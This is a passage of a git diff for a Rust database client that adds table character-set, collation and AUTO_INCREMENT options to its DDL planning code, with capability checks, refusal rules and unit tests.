-    ChangedAttributes, ColumnAlteration, ColumnRename, PrimaryKeyChange, PrimaryKeyConstraint, TableChanges,
-    TableDefinition, TableDraft,
+    ChangedAttributes, CharacterSetChoice, ColumnAlteration, ColumnRename, DraftTableOptions, PrimaryKeyChange,
+    PrimaryKeyConstraint, TableChanges, TableDefinition, TableDraft, TableOptions, TableOptionsChange,
 };
 
 /// What the draft changed about the table it started from.
@@ -75,9 +75,38 @@ pub fn diff_table(original: &TableDefinition, draft: &TableDraft) -> TableChange
         added_columns,
         added_indexes: secondary(&draft.indexes, &original.indexes),
         added_foreign_keys: missing(&draft.foreign_keys, &original.foreign_keys),
+        options: draft
+            .options
+            .as_ref()
+            .and_then(|options| options_change(original.options.as_ref(), options)),
     }
 }
 
+/// A convert is a change even to the pair the table has, and it always
+/// names both. A pair the draft names only half of cannot be written,
+/// so it is not a change.
+fn options_change(original: Option<&TableOptions>, draft: &DraftTableOptions) -> Option<TableOptionsChange> {
+    let unread = TableOptions::default();
+    let before = original.unwrap_or(&unread);
+    let renamed = draft.character_set != before.character_set || draft.collation != before.collation;
+    let character_set = match (&draft.character_set, &draft.collation) {
+        (Some(character_set), Some(collation)) if renamed || draft.converts_columns => Some(CharacterSetChoice {
+            character_set: character_set.clone(),
+            collation: collation.clone(),
+        }),
+        _ => None,
+    };
+    let next_auto_increment = draft
+        .next_auto_increment
+        .filter(|next| Some(*next) != before.next_auto_increment);
+    let change = TableOptionsChange {
+        converts_columns: draft.converts_columns && character_set.is_some(),
+        character_set,
+        next_auto_increment,
+    };
+    (change != TableOptionsChange::default()).then_some(change)
+}
+
 /// The key compared as a set of columns under their new names: listing
 /// the same columns in another order is not a change the user made.
 fn primary_key_change(
diff --git a/linux/crates/core/src/ddl/draft_column.rs b/linux/crates/core/src/ddl/draft_column.rs
index f76d1baaed..8964f73e64 100644
--- a/linux/crates/core/src/ddl/draft_column.rs
+++ b/linux/crates/core/src/ddl/draft_column.rs
@@ -1,4 +1,4 @@
-use super::{ColumnDefinition, DraftType};
+use super::{ColumnAttributes, ColumnDefinition, DraftType};
 use crate::column::ColumnDefault;
 
 /// A column as the user is editing it.
@@ -13,6 +13,11 @@ pub struct DraftColumn {
     pub auto_increment: bool,
     pub default: ColumnDefault,
     pub comment: Option<String>,
+    /// The column's own character set and collation, which only an engine
+    /// with `column_collations` lets the user change. `None` takes the
+    /// table's default.
+    pub character_set: Option<String>,
+    pub collation: Option<String>,
 }
 
 impl DraftColumn {
@@ -26,11 +31,14 @@ impl DraftColumn {
             auto_increment: false,
             default: ColumnDefault::None,
             comment: None,
+            character_set: None,
+            collation: None,
         }
     }
 
     pub fn from_definition(definition: ColumnDefinition) -> Self {
         let info = &definition.info;
+        let attributes = &definition.attributes;
         Self {
             name: info.name.clone(),
             column_type: DraftType::Catalog(info.column_type.clone()),
@@ -39,6 +47,8 @@ impl DraftColumn {
             auto_increment: info.is_auto_increment,
             default: info.default.clone(),
             comment: info.comment.clone(),
+            character_set: attributes.character_set.clone(),
+            collation: attributes.collation.as_ref().map(|collation| collation.name.clone()),
             original: Some(definition),
         }
     }
@@ -52,4 +62,18 @@ impl DraftColumn {
     pub fn comment_text(&self) -> Option<&str> {
         self.comment.as_deref().filter(|text| !text.is_empty())
     }
+
+    /// Whether the user named a character set or collation other than the
+    /// column's own. A column the user added has neither of its own.
+    pub fn collation_edited(&self) -> bool {
+        self.collation_differs(self.original.as_ref().map(|original| &original.attributes))
+    }
+
+    pub(super) fn collation_differs(&self, attributes: Option<&ColumnAttributes>) -> bool {
+        let character_set = attributes.and_then(|attributes| attributes.character_set.as_deref());
+        let collation = attributes
+            .and_then(|attributes| attributes.collation.as_ref())
+            .map(|collation| collation.name.as_str());
+        character_set != self.character_set.as_deref() || collation != self.collation.as_deref()
+    }
 }
diff --git a/linux/crates/core/src/ddl/draft_table_options.rs b/linux/crates/core/src/ddl/draft_table_options.rs
new file mode 100644
index 0000000000..a506ab7efe
--- /dev/null
+++ b/linux/crates/core/src/ddl/draft_table_options.rs
@@ -0,0 +1,33 @@
+use super::TableOptions;
+
+/// A table's options as the user is editing them.
+///
+/// The character set and collation change together: a character set
+/// named alone takes its default collation, so a draft that changes
+/// either names both.
+#[derive(Debug, Clone, PartialEq, Eq, Default)]
+pub struct DraftTableOptions {
+    pub character_set: Option<String>,
+    pub collation: Option<String>,
+    /// Rewrite every text column in the character set as well, rather
+    /// than change only the default that columns added later take.
+    pub converts_columns: bool,
+    pub next_auto_increment: Option<u64>,
+}
+
+impl DraftTableOptions {
+    pub fn from_options(options: &TableOptions) -> Self {
+        Self {
+            character_set: options.character_set.clone(),
+            collation: options.collation.clone(),
+            converts_columns: false,
+            next_auto_increment: options.next_auto_increment,
+        }
+    }
+
+    /// Whether the draft asks for anything a new table would be created
+    /// with.
+    pub fn sets_anything(&self) -> bool {
+        self.character_set.is_some() || self.collation.is_some() || self.next_auto_increment.is_some()
+    }
+}
diff --git a/linux/crates/core/src/ddl/mod.rs b/linux/crates/core/src/ddl/mod.rs
index a4a887eaea..9e14707b41 100644
--- a/linux/crates/core/src/ddl/mod.rs
+++ b/linux/crates/core/src/ddl/mod.rs
@@ -5,6 +5,7 @@
 mod build_ddl_error;
 mod change_review;
 mod changed_attributes;
+mod character_set;
 mod collation_name;
 mod column_alteration;
 mod column_attributes;
@@ -25,6 +26,7 @@ mod destructive_change;
 mod diff_table;
 mod draft_column;
 mod draft_problem;
+mod draft_table_options;
 mod draft_type;
 mod drop_table_options;
 mod generated_column;
@@ -41,6 +43,8 @@ mod schema_object_source;
 mod table_changes;
 mod table_definition;
 mod table_draft;
+mod table_options;
+mod table_options_change;
 mod table_rebuild;
 mod table_source;
 mod unmodeled_attribute;
@@ -51,6 +55,7 @@ mod tests;
 pub use build_ddl_error::BuildDdlError;
 pub use change_review::ChangeReview;
 pub use changed_attributes::ChangedAttributes;
+pub use character_set::CharacterSet;
 pub use collation_name::CollationName;
 pub use column_alteration::ColumnAlteration;
 pub use column_attributes::ColumnAttributes;
@@ -70,6 +75,7 @@ pub use destructive_change::DestructiveChange;
 pub use diff_table::diff_table;
 pub use draft_column::DraftColumn;
 pub use draft_problem::DraftProblem;
+pub use draft_table_options::DraftTableOptions;
 pub use draft_type::{DraftType, ResolvedType};
 pub use drop_table_options::DropTableOptions;
 pub use generated_column::{GeneratedColumn, GeneratedStorage};
@@ -86,6 +92,8 @@ pub use schema_object_source::{SchemaObjectKind, SchemaObjectSource};
 pub use table_changes::TableChanges;
 pub use table_definition::TableDefinition;
 pub use table_draft::TableDraft;
+pub use table_options::TableOptions;
+pub use table_options_change::{CharacterSetChoice, TableOptionsChange};
 pub use table_rebuild::{RecreatedObject, TableRebuild};
 pub use table_source::TableSource;
 pub use unmodeled_attribute::UnmodeledAttribute;
diff --git a/linux/crates/core/src/ddl/refusal_reason.rs b/linux/crates/core/src/ddl/refusal_reason.rs
index cf566e738f..32ca57f7da 100644
--- a/linux/crates/core/src/ddl/refusal_reason.rs
+++ b/linux/crates/core/src/ddl/refusal_reason.rs
@@ -41,6 +41,9 @@ pub enum RefusalReason {
     /// Triggers insert into the table without naming its columns, so they
     /// take one value per column and break when one is added or dropped.
     InsertedByPosition(Vec<String>),
+    /// The same change converts every column's character set, so a column
+    /// or primary key change waits for a save of its own.
+    ColumnsConverted,
 }
 
 impl fmt::Display for RefusalReason {
@@ -61,6 +64,7 @@ impl fmt::Display for RefusalReason {
             Self::InsertedByPosition(triggers) => {
                 write!(f, "triggers {} insert into the table by position", triggers.join(", "))
             }
+            Self::ColumnsConverted => f.write_str("the same change converts every column's character set"),
         }
     }
 }
diff --git a/linux/crates/core/src/ddl/table_changes.rs b/linux/crates/core/src/ddl/table_changes.rs
index 6781dcff1d..d02b0889b3 100644
--- a/linux/crates/core/src/ddl/table_changes.rs
+++ b/linux/crates/core/src/ddl/table_changes.rs
@@ -1,6 +1,7 @@
 use super::{
     BuildDdlError, ColumnAlteration, ColumnDefinition, ColumnRename, DdlCapabilities, DdlDialect, DdlOperation,
-    DraftColumn, Permission, PrimaryKeyChange, RefusalReason, TableDefinition, order_renames, primary_key_permission,
+    DraftColumn, Permission, PrimaryKeyChange, RefusalReason, TableDefinition, TableOptionsChange, order_renames,
+    primary_key_permission,
 };
 use crate::column::ColumnDefault;
 use crate::foreign_key_info::ForeignKeyInfo;
@@ -22,6 +23,7 @@ pub struct TableChanges {
     pub primary_key: Option<PrimaryKeyChange>,
     pub added_indexes: Vec<IndexInfo>,
     pub added_foreign_keys: Vec<ForeignKeyInfo>,
+    pub options: Option<TableOptionsChange>,
 }
 
 impl TableChanges {
@@ -29,8 +31,12 @@ impl TableChanges {
         self.change_count() == 0 && self.primary_key.is_none()
     }
 
-    /// One per edit the user made: a column renamed and retyped is two.
+    /// One per edit the user made: a column renamed and retyped is two,
+    /// and so are a new character set and a new AUTO_INCREMENT value.
     pub fn change_count(&self) -> usize {
+        let options = self.options.as_ref().map_or(0, |options| {
+            usize::from(options.character_set.is_some()) + usize::from(options.next_auto_increment.is_some())
+        });
         usize::from(self.renamed_table.is_some())
             + self.dropped_foreign_keys.len()
             + self.dropped_indexes.len()
@@ -40,6 +46,7 @@ impl TableChanges {
             + self.added_columns.len()
             + self.added_indexes.len()
             + self.added_foreign_keys.len()
+            + options
     }
 
     /// The table as it is named once the changes have run.
@@ -87,6 +94,15 @@ impl TableChanges {
         if self.renamed_table.is_some() {
             require(capabilities.rename_table, DdlOperation::RenameTable)?;
         }
+        if let Some(options) = &self.options {
+            require(
+                ddl.table_capabilities(original).table_options,
+                DdlOperation::AlterTableOptions,
+            )?;
+            if options.converts_columns {
+                self.check_convert()?;
+            }
+        }
         if !self.dropped_foreign_keys.is_empty() {
             require(capabilities.drop_foreign_key, DdlOperation::DropForeignKey)?;
         }
@@ -109,41 +125,7 @@ impl TableChanges {
             }
         }
         for alteration in &self.altered_columns {
-            let permissions = ddl.column_capabilities(original, &alteration.original);
-            let name = alteration.original.name();
-            let changed = alteration.changed;
-            let checks = [
-                (
-                    changed.column_type,
-                    permissions.alter_type,
-                    DdlOperation::AlterColumnType,
-                ),
-                (
-                    changed.nullability,
-                    permissions.alter_nullability,
-                    DdlOperation::AlterColumnNullability,
-                ),
-                (
-                    changed.default,
-                    permissions.alter_default,
-                    DdlOperation::AlterColumnDefault,
-                ),
-                (
-                    changed.auto_increment,
-                    permissions.alter_auto_increment,
-                    DdlOperation::AlterAutoIncrement,
-                ),
-                (
-                    changed.comment,
-                    permissions.alter_comment,
-                    DdlOperation::SetColumnComment,
-                ),
-            ];
-            for (changed, permission, operation) in checks {
-                if changed {
-                    permit(permission, name, operation)?;
-                }
-            }
+            check_alteration(ddl, original, alteration)?;
         }
         for column in &self.added_columns {
             require(capabilities.add_column, DdlOperation::AddColumn)?;
@@ -153,14 +135,9 @@ impl TableChanges {
             check_new_column(capabilities, column)?;
         }
         if let Some(change) = &self.primary_key {
-            let column = change
-                .to
-                .first()
-                .or_else(|| change.from.as_ref().and_then(|key| key.columns.first()))
-                .map_or("", String::as_str);
             permit(
                 primary_key_permission(capabilities, original),
-                column,
+                key_column(change),
                 DdlOperation::AlterPrimaryKey,
             )?;
         }
@@ -170,14 +147,94 @@ impl TableChanges {
         }
         check_actions(ddl, &self.added_foreign_keys)
     }
+
+    /// A convert widens types that a column restated after it would
+    /// narrow again, and converts a key before the key moves.
+    fn check_convert(&self) -> Result<(), BuildDdlError> {
+        let changed = self
+            .renamed_columns
+            .iter()
+            .map(|rename| rename.from.as_str())
+            .chain(self.altered_columns.iter().map(|alteration| alteration.original.name()))
+            .chain(self.primary_key.iter().map(key_column))
+            .next();
+        match changed {
+            Some(column) => Err(BuildDdlError::Refused {
+                column: column.to_owned(),
+                operation: DdlOperation::AlterTableOptions,
+                reason: RefusalReason::ColumnsConverted,
+            }),
+            None => Ok(()),
+        }
+    }
 }
 
-/// A new column asks only for what the engine has: a default, and NOT
-/// NULL outside the primary key.
+fn key_column(change: &PrimaryKeyChange) -> &str {
+    change
+        .to
+        .first()
+        .or_else(|| change.from.as_ref().and_then(|key| key.columns.first()))
+        .map_or("", String::as_str)
+}
+
+/// Each attribute the edit changed has to be one the column takes.
+fn check_alteration(
+    ddl: &dyn DdlDialect,
+    original: &TableDefinition,
+    alteration: &ColumnAlteration,
+) -> Result<(), BuildDdlError> {
+    let permissions = ddl.column_capabilities(original, &alteration.original);
+    let name = alteration.original.name();
+    let changed = alteration.changed;
+    let checks = [
+        (
+            changed.column_type,
+            permissions.alter_type,
+            DdlOperation::AlterColumnType,
+        ),
+        (
+            changed.nullability,
+            permissions.alter_nullability,
+            DdlOperation::AlterColumnNullability,
+        ),
+        (
+            changed.default,
+            permissions.alter_default,
+            DdlOperation::AlterColumnDefault,
+        ),
+        (
+            changed.auto_increment,
+            permissions.alter_auto_increment,
+            DdlOperation::AlterAutoIncrement,
+        ),
+        (
+            changed.comment,
+            permissions.alter_comment,
+            DdlOperation::SetColumnComment,
+        ),
+        (
+            changed.collation,
+            permissions.alter_collation,
+            DdlOperation::AlterColumnCollation,
+        ),
+    ];
+    for (changed, permission, operation) in checks {
+        if changed {
+            permit(permission, name, operation)?;
+        }
+    }
+    Ok(())
+}
+
+/// A new column asks only for what the engine has: a default, NOT NULL
+/// outside the primary key, and a character set or collation of its own.
 pub(super) fn check_new_column(capabilities: &DdlCapabilities, column: &DraftColumn) -> Result<(), BuildDdlError> {
     if column.default != ColumnDefault::None {
         require(capabilities.column_defaults, DdlOperation::ColumnDefault)?;
     }
+    if column.collation_edited() {
+        require(capabilities.column_collations, DdlOperation::AlterColumnCollation)?;
+    }
     if !column.nullable && !column.primary_key {
         require(capabilities.required_columns, DdlOperation::RequiredColumn)?;
     }
diff --git a/linux/crates/core/src/ddl/table_definition.rs b/linux/crates/core/src/ddl/table_definition.rs
index 905b221e79..54792c9bb4 100644
--- a/linux/crates/core/src/ddl/table_definition.rs
+++ b/linux/crates/core/src/ddl/table_definition.rs
@@ -1,4 +1,4 @@
-use super::{ColumnDefinition, InboundForeignKey, PrimaryKeyConstraint, TableSource};
+use super::{ColumnDefinition, InboundForeignKey, PrimaryKeyConstraint, TableOptions, TableSource};
 use crate::foreign_key_info::ForeignKeyInfo;
 use crate::meta::{IndexInfo, TableRef};
 
@@ -19,6 +19,9 @@ pub struct TableDefinition {
     pub inbound_foreign_keys: Vec<InboundForeignKey>,
     /// `None` where the engine cannot produce its own DDL for the table.
     pub source: Option<TableSource>,
+    /// `None` where the engine keeps no options for the table, and for a
+    /// view.
+    pub options: Option<TableOptions>,
 }
 
 impl TableDefinition {
@@ -71,6 +74,7 @@ mod tests {
             foreign_keys: Vec::new(),
             inbound_foreign_keys: Vec::new(),
             source: None,
+            options: None,
         };
 
         assert_eq!(definition.column("Email").map(ColumnDefinition::name), Some("Email"));
diff --git a/linux/crates/core/src/ddl/table_draft.rs b/linux/crates/core/src/ddl/table_draft.rs
index f2853ad2c2..ef38083f1d 100644
--- a/linux/crates/core/src/ddl/table_draft.rs
+++ b/linux/crates/core/src/ddl/table_draft.rs
@@ -1,7 +1,7 @@
 use std::collections::{BTreeMap, HashSet};
 
 use super::table_changes::{check_actions, check_new_column, check_new_indexes, require};
-use super::{BuildDdlError, DdlDialect, DdlOperation, DraftColumn, DraftProblem, TableDefinition};
+use super::{BuildDdlError, DdlDialect, DdlOperation, DraftColumn, DraftProblem, DraftTableOptions, TableDefinition};
 use crate::foreign_key_info::ForeignKeyInfo;
 use crate::meta::{IndexInfo, TableRef};
 
@@ -15,6 +15,8 @@ pub struct TableDraft {
     /// primary-key flags, and no plan restates it.
     pub indexes: Vec<IndexInfo>,
     pub foreign_keys: Vec<ForeignKeyInfo>,
+    /// `None` where the definition carries no options.
+    pub options: Option<DraftTableOptions>,
 }
 
 impl TableDraft {
@@ -24,6 +26,7 @@ impl TableDraft {
             columns: Vec::new(),
             indexes: Vec::new(),
             foreign_keys: Vec::new(),
+            options: None,
         }
     }
 
@@ -38,6 +41,7 @@ impl TableDraft {
                 .collect(),
             indexes: definition.indexes.clone(),
             foreign_keys: definition.foreign_keys.clone(),
+            options: definition.options.as_ref().map(DraftTableOptions::from_options),
         }
     }
 
@@ -106,6 +110,9 @@ impl TableDraft {
         if self.columns.iter().any(|column| column.comment_text().is_some()) {
             require(capabilities.column_comments, DdlOperation::SetColumnComment)?;
         }
+        if self.options.as_ref().is_some_and(DraftTableOptions::sets_anything) {
+            require(capabilities.table_options, DdlOperation::AlterTableOptions)?;
+        }
         for column in &self.columns {
             check_new_column(capabilities, column)?;
         }
diff --git a/linux/crates/core/src/ddl/table_options.rs b/linux/crates/core/src/ddl/table_options.rs
new file mode 100644
index 0000000000..6ef799501b
--- /dev/null
+++ b/linux/crates/core/src/ddl/table_options.rs
@@ -0,0 +1,10 @@
+/// A table's own default character set and collation and its next
+/// AUTO_INCREMENT value, on an engine whose tables carry them.
+#[derive(Debug, Clone, PartialEq, Eq, Default)]
+pub struct TableOptions {
+    pub character_set: Option<String>,
+    pub collation: Option<String>,
+    /// The number the next inserted row takes, `None` when no column of
+    /// the table numbers itself.
+    pub next_auto_increment: Option<u64>,
+}
diff --git a/linux/crates/core/src/ddl/table_options_change.rs b/linux/crates/core/src/ddl/table_options_change.rs
new file mode 100644
index 0000000000..2712668a68
--- /dev/null
+++ b/linux/crates/core/src/ddl/table_options_change.rs
@@ -0,0 +1,18 @@
+/// What a save changes about a table's options.
+#[derive(Debug, Clone, PartialEq, Eq, Default)]
+pub struct TableOptionsChange {
+    /// The new default character set and collation. Set for a convert
+    /// too, even one to the pair the table already has.
+    pub character_set: Option<CharacterSetChoice>,
+    /// Rewrite every text column in `character_set`, which is then set.
+    pub converts_columns: bool,
+    pub next_auto_increment: Option<u64>,
+}
+
+/// A character set and one of its collations, always written together:
+/// a character set named alone resets the collation to its default.
+#[derive(Debug, Clone, PartialEq, Eq, Hash)]
+pub struct CharacterSetChoice {
+    pub character_set: String,
+    pub collation: String,
+}
diff --git a/linux/crates/core/src/ddl/tests.rs b/linux/crates/core/src/ddl/tests.rs
index ecb6481a0e..3a8873fbda 100644
--- a/linux/crates/core/src/ddl/tests.rs
+++ b/linux/crates/core/src/ddl/tests.rs
@@ -110,6 +110,7 @@ fn users() -> TableDefinition {
         foreign_keys: vec![foreign_key("users_account_fk", "account_id")],
         inbound_foreign_keys: Vec::new(),
         source: None,
+        options: None,
     }
 }
 
@@ -433,6 +434,8 @@ fn every_change() -> DdlCapabilities {
         column_defaults: true,
         required_columns: true,
         declared_column_order: true,
+        column_collations: true,
+        table_options: true,
     }
 }
 
@@ -897,3 +900,273 @@ fn a_review_matches_only_the_plan_it_read() {
         DdlPlan::from_sql(["ALTER TABLE a".to_owned(), "ALTER TABLE b".to_owned()]).preview()
     );
 }
+
+fn optioned() -> TableDefinition {
+    let mut table = users();
+    table.options = Some(TableOptions {
+        character_set: Some("utf8mb4".to_owned()),
+        collation: Some("utf8mb4_bin".to_owned()),
+        next_auto_increment: Some(10),
+    });
+    for name in ["email", "legacy"] {
+        if let Some(column) = table.columns.iter_mut().find(|column| column.name() == name) {
+            column.attributes.character_set = Some("utf8mb4".to_owned());
+            column.attributes.collation = Some(CollationName::new(None, "utf8mb4_bin"));
+        }
+    }
+    table
+}
+
+fn draft_options(draft: &mut TableDraft) -> &mut DraftTableOptions {
+    draft.options.as_mut().expect("the table's options")
+}
+
+fn options_edit(table: &TableDefinition, edit: impl FnOnce(&mut DraftTableOptions)) -> TableChanges {
+    let mut draft = TableDraft::from_definition(table);
+    edit(draft_options(&mut draft));
+    diff_table(table, &draft)
+}
+
+fn choice(character_set: &str, collation: &str) -> CharacterSetChoice {
+    CharacterSetChoice {
+        character_set: character_set.to_owned(),
+        collation: collation.to_owned(),
+    }
+}
+
+#[test]
+fn a_draft_starts_from_the_table_options_and_each_columns_pair() {
+    let table = optioned();
+
+    let draft = TableDraft::from_definition(&table);
+
+    assert_eq!(
+        draft.options,
+        Some(DraftTableOptions {
+            character_set: Some("utf8mb4".to_owned()),
+            collation: Some("utf8mb4_bin".to_owned()),
+            converts_columns: false,
+            next_auto_increment: Some(10),
+        })
+    );
+    let email = draft.column("email").expect("email");
+    assert_eq!(
+        (email.character_set.as_deref(), email.collation.as_deref()),
+        (Some("utf8mb4"), Some("utf8mb4_bin"))
+    );
+    assert!(!email.collation_edited());
+    assert!(diff_table(&table, &draft).is_empty());
+}
+
+#[test]
+fn a_default_change_and_a_convert_name_both_halves() {
+    let table = optioned();
+
+    let collation = options_edit(&table, |options| {
+        options.collation = Some("utf8mb4_0900_ai_ci".to_owned());
+    });
+    let convert = options_edit(&table, |options| options.converts_columns = true);
+    let counter = options_edit(&table, |options| options.next_auto_increment = Some(500));
+    let half = options_edit(&table, |options| options.collation = None);
+
+    assert_eq!(
+        collation.options,
+        Some(TableOptionsChange {
+            character_set: Some(choice("utf8mb4", "utf8mb4_0900_ai_ci")),
+            converts_columns: false,
+            next_auto_increment: None,
+        })
+    );
+    assert_eq!(
+        convert.options,
+        Some(TableOptionsChange {
+            character_set: Some(choice("utf8mb4", "utf8mb4_bin")),
+            converts_columns: true,
+            next_auto_increment: None,
+        })
+    );
+    assert_eq!(
+        counter.options.as_ref().and_then(|options| options.next_auto_increment),
+        Some(500)
+    );
+    assert_eq!(half.options, None, "a pair named by half cannot be written");
+    assert_eq!(
+        [collation.change_count(), convert.change_count(), counter.change_count()],
+        [1, 1, 1]
+    );
+}
+
+#[test]
+fn a_new_pair_and_a_new_counter_are_two_changes() {
+    let changes = options_edit(&optioned(), |options| {
+        options.character_set = Some("latin1".to_owned());
+        options.collation = Some("latin1_bin".to_owned());
+        options.next_auto_increment = Some(500);
+    });
+
+    assert_eq!(changes.change_count(), 2);
+    assert!(!changes.is_empty());
+}
+
+#[test]
+fn table_options_need_the_capability() {
+    let table = optioned();
+    let changes = options_edit(&table, |options| options.next_auto_increment = Some(500));
+    let mut without = every_change();
+    without.table_options = false;
+    let mut created = TableDraft::new(TableRef::unqualified("t"));
+    created
+        .columns
+        .push(DraftColumn::new("a", DraftType::Typed("int".to_owned())));
+    created.options = Some(DraftTableOptions {
+        next_auto_increment: Some(5),
+        ..DraftTableOptions::default()
+    });
+
+    let unsupported = Err(BuildDdlError::Unsupported(DdlOperation::AlterTableOptions));
+    assert_eq!(checking(without).plan_alter_table(&table, &changes), unsupported);
+    assert_eq!(checking(without).plan_create_table(&created), unsupported);
+    assert!(checking(every_change()).plan_alter_table(&table, &changes).is_ok());
+    assert!(checking(every_change()).plan_create_table(&created).is_ok());
+}
+
+#[test]
+fn a_column_pair_edit_is_one_change_the_capabilities_gate() {
+    let table = optioned();
+    let mut draft = TableDraft::from_definition(&table);
+    let email = draft_column(&mut draft, "email");
+    email.character_set = Some("latin1".to_owned());
+    email.collation = Some("latin1_bin".to_owned());
+    let mut no_collations = every_change();
+    no_collations.column_collations = false;
+
+    let changes = diff_table(&table, &draft);
+
+    assert_eq!(changes.altered_columns.len(), 1);
+    assert!(changes.altered_columns[0].changed.collation);
+    assert_eq!(changes.change_count(), 1);
+    assert!(checking(every_change()).plan_alter_table(&table, &changes).is_ok());
+    assert_eq!(
+        checking(no_collations).plan_alter_table(&table, &changes),
+        Err(BuildDdlError::Refused {
+            column: "email".to_owned(),
+            operation: DdlOperation::AlterColumnCollation,
+            reason: RefusalReason::EngineUnsupported,
+        })
+    );
+}
+
+/// PostgreSQL and SQL Server read a column's collation and recreate a
+/// table from its definition, while the user picks none there.
+#[test]
+fn a_collation_read_back_as_it_is_needs_no_capability() {
+    let mut table = optioned();
+    table.options = None;
+    table.foreign_keys.clear();
+    let mut no_collations = every_change();
+    no_collations.column_collations = false;
+    let mut added = DraftColumn::new("nickname", DraftType::Typed("text".to_owned()));
+    added.collation = Some("C".to_owned());
+    let mut draft = TableDraft::from_definition(&table);
+    draft.columns.push(added);
+
+    assert!(
+        checking(no_collations)
+            .plan_create_table(&TableDraft::from_definition(&table))
+            .is_ok()
+    );
+    assert_eq!(
+        checking(no_collations).plan_alter_table(&table, &diff_table(&table, &draft)),
+        Err(BuildDdlError::Unsupported(DdlOperation::AlterColumnCollation))
+    );
+}
+
+#[test]
+fn a_convert_and_a_new_column_character_set_are_destructive() {
+    let table = optioned();
+    let mut draft = TableDraft::from_definition(&table);
+    draft_options(&mut draft).converts_columns = true;
+    let email = draft_column(&mut draft, "email");
+    email.character_set = Some("latin1".to_owned());
+    email.collation = Some("latin1_bin".to_owned());
+    // Another collation of the same character set keeps every value.
+    draft_column(&mut draft, "legacy").collation = Some("utf8mb4_0900_ai_ci".to_owned());
+    let plan = DdlPlan::from_sql(["ALTER TABLE users CONVERT TO CHARACTER SET utf8mb4".to_owned()]);
+
+    let reviewed = ChangeReview::review(&diff_table(&table, &draft), &plan);
+
+    assert_eq!(
+        reviewed.destructive,
+        [
+            DestructiveChange::ConvertCharacterSet,
+            DestructiveChange::ChangeColumnCharacterSet {
+                column: "email".to_owned()
+            },
+        ]
+    );
+    assert_eq!(reviewed.operations, 3);
+}
+
+fn converted(table: &TableDefinition, edit: impl FnOnce(&mut TableDraft)) -> Result<DdlPlan, BuildDdlError> {
+    let mut draft = TableDraft::from_definition(table);
+    draft_options(&mut draft).converts_columns = true;
+    edit(&mut draft);
+    checking(every_change()).plan_alter_table(table, &diff_table(table, &draft))
+}
+
+#[test]
+fn a_convert_refuses_a_column_or_primary_key_change_beside_it() {
+    let table = optioned();
+    let refused = |column: &str| {
+        Err(BuildDdlError::Refused {
+            column: column.to_owned(),
+            operation: DdlOperation::AlterTableOptions,
+            reason: RefusalReason::ColumnsConverted,
+        })
+    };
+
+    let altered = converted(&table, |draft| draft_column(draft, "email").nullable = false);
+    let picked = converted(&table, |draft| {
+        let email = draft_column(draft, "email");
+        email.character_set = Some("latin1".to_owned());
+        email.collation = Some("latin1_bin".to_owned());
+    });
+    let renamed = converted(&table, |draft| draft_column(draft, "legacy").name = "old".to_owned());
+    let rekeyed = converted(&table, |draft| {
+        let account = draft_column(draft, "account_id");
+        account.primary_key = true;
+        account.nullable = false;
+    });
+    let unkeyed = converted(&table, |draft| draft.columns.retain(|column| column.name != "id"));
+
+    assert_eq!(altered, refused("email"));
+    assert_eq!(picked, refused("email"));
+    assert_eq!(renamed, refused("legacy"));
+    assert_eq!(rekeyed, refused("account_id"));
+    assert_eq!(unkeyed, refused("id"), "dropping the key's column moves the key");
+}
+
+#[test]
+fn a_convert_takes_drops_and_additions_and_a_new_default_takes_column_changes() {
+    let table = optioned();
+
+    let convert = converted(&table, |draft| {
+        draft.columns.retain(|column| column.name != "legacy");
+        draft.indexes.retain(|index| index.name != "by_legacy");
+        draft
+            .columns
+            .push(DraftColumn::new("nickname", DraftType::Typed("text".to_owned())));
+        draft.indexes.push(index("by_nickname", &["nickname"]));
+        draft.foreign_keys = vec![ForeignKeyInfo {
+            on_delete: None,
+            ..foreign_key("users_owner_fk", "account_id")
+        }];
+    });
+    let mut draft = TableDraft::from_definition(&table);
+    draft_options(&mut draft).collation = Some("utf8mb4_0900_ai_ci".to_owned());
+    draft_column(&mut draft, "email").nullable = false;
+    let default = checking(every_change()).plan_alter_table(&table, &diff_table(&table, &draft));
+
+    assert!(convert.is_ok(), "{convert:?}");
+    assert!(default.is_ok(), "{default:?}");
+}
diff --git a/linux/crates/core/src/unsupported_feature.rs b/linux/crates/core/src/unsupported_feature.rs
index 18a8d161f0..6eff4bed47 100644
--- a/linux/crates/core/src/unsupported_feature.rs
+++ b/linux/crates/core/src/unsupported_feature.rs
@@ -45,6 +45,9 @@ pub enum UnsupportedFeature {
     Tables,
     /// Keys, on an engine that has tables instead.
     Keys,
+    /// A list of character sets and collations to pick a column's or a
+    /// table's from.
+    CharacterSets,
     /// A command the editor cannot run, because it stops the one reply
     /// per command the editor reads, such as `SUBSCRIBE`.
     EditorCommand {
@@ -75,6 +78,7 @@ impl fmt::Display for UnsupportedFeature {
             Self::ServerPaging => f.write_str("server-side paging"),
             Self::Tables => f.write_str("tables"),
             Self::Keys => f.write_str("keys"),
+            Self::CharacterSets => f.write_str("character sets"),
             Self::EditorCommand { command } => write!(f, "{command} in the editor"),
         }
     }
diff --git a/linux/crates/drivers/cassandra/src/catalog.rs b/linux/crates/drivers/cassandra/src/catalog.rs
index c2c0aecbf8..7c69a6d527 100644
--- a/linux/crates/drivers/cassandra/src/catalog.rs
+++ b/linux/crates/drivers/cassandra/src/catalog.rs
@@ -479,6 +479,7 @@ pub(crate) async fn fetch_table_definition(
             create_statement,
             dependents,
         }),
+        options: None,
     })
 }
 
diff --git a/linux/crates/drivers/cassandra/src/ddl.rs b/linux/crates/drivers/cassandra/src/ddl.rs
index 2f6caec698..627ce19679 100644
--- a/linux/crates/drivers/cassandra/src/ddl.rs
+++ b/linux/crates/drivers/cassandra/src/ddl.rs
@@ -33,6 +33,8 @@ static CAPABILITIES: DdlCapabilities = DdlCapabilities {
     column_defaults: false,
     required_columns: false,
     declared_column_order: false,
+    column_collations: false,
+    table_options: false,
 };
 
 const TYPE_SUGGESTIONS: &[&str] = &[
@@ -213,6 +215,7 @@ mod tests {
             foreign_keys: Vec::new(),
             inbound_foreign_keys: Vec::new(),
             source: None,
+            options: None,
         }
     }
 
diff --git a/linux/crates/drivers/clickhouse/src/catalog/table_definition.rs b/linux/crates/drivers/clickhouse/src/catalog/table_definition.rs
index aca01745e9..cbcd0ddf10 100644
--- a/linux/crates/drivers/clickhouse/src/catalog/table_definition.rs
+++ b/linux/crates/drivers/clickhouse/src/catalog/table_definition.rs
@@ -43,6 +43,7 @@ pub(crate) async fn fetch_table_definition(
             create_statement,
             dependents: Vec::new(),
         }),
+        options: None,
     })
 }
 
